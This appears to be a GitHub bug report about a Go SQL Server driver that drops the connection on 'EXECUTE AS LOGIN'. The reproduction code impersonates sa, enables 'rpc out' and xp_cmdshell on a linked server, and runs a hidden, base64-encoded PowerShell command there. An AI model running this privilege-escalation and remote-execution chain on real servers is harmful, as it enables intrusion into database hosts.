Open patrickhener opened 2 years ago
func main() {
dsn := "server=web06;user id=;password=;database=master;encrypt=disable;"
con, err := sql.Open("mssql", dsn)
if err != nil {
panic(err)
}
if err := con.Ping(); err != nil {
panic(err)
}
if _, err = con.Exec("EXECUTE AS LOGIN = 'sa'; EXEC sp_serveroption @server='sql03',@optname='rpc out',@optvalue='true'; reconfigure; EXEC ('sp_configure @configname=''show advanced options'',@configvalue=1; reconfigure;') AT sql03; EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT sql03; EXEC ('xp_cmdshell ''powershell.exe -nop -windowstyle hidden -e cABpAG4AZwAgAC0AbgAgADIAIAAxADkAMgAuADEANgA4AC4ANAA5AC4ANwA2AA=='';') AT sql03;"); err != nil {
panic(err)
}
con.Close()
}
func main() {
dsn := "server=web06;user id=;password=;database=master;encrypt=disable;"
con, err := sql.Open("mssql", dsn)
if err != nil {
panic(err)
}
if err := con.Ping(); err != nil {
panic(err)
}
_, err = con.Exec("EXECUTE AS LOGIN = 'sa';")
if err != nil {
panic(err)
}
_, err = con.Exec("EXEC sp_serveroption @server='sql03',@optname='rpc out',@optvalue='true'; reconfigure;")
if err != nil {
panic(err)
}
_, err = con.Exec("EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT sql03;")
if err != nil {
panic(err)
}
_, err = con.Exec("EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT sql03;")
if err != nil {
panic(err)
}
_, err = con.Exec("EXEC ('xp_cmdshell ''powershell.exe -nop -windowstyle hidden -e cABpAG4AZwAgAC0AbgAgADIAIAAxADkAMgAuADEANgA4AC4ANAA5AC4ANwA2AA=='';') AT sql03;")
if err != nil {
panic(err)
}
con.Close()
}
When trying to
EXECUTE AS LOGIN = 'sa';
I get the error:An existing connection was forcibly closed by the remote host.
To Reproduce Basic connection is this:
And then the command executed will be this part:
Further technical details
SQL Server version: (SQL Server 2019 Express) Operating system: (Windows 2019)
Authentication
I am authenticating as windows user in this case (local administrator = sysadmin)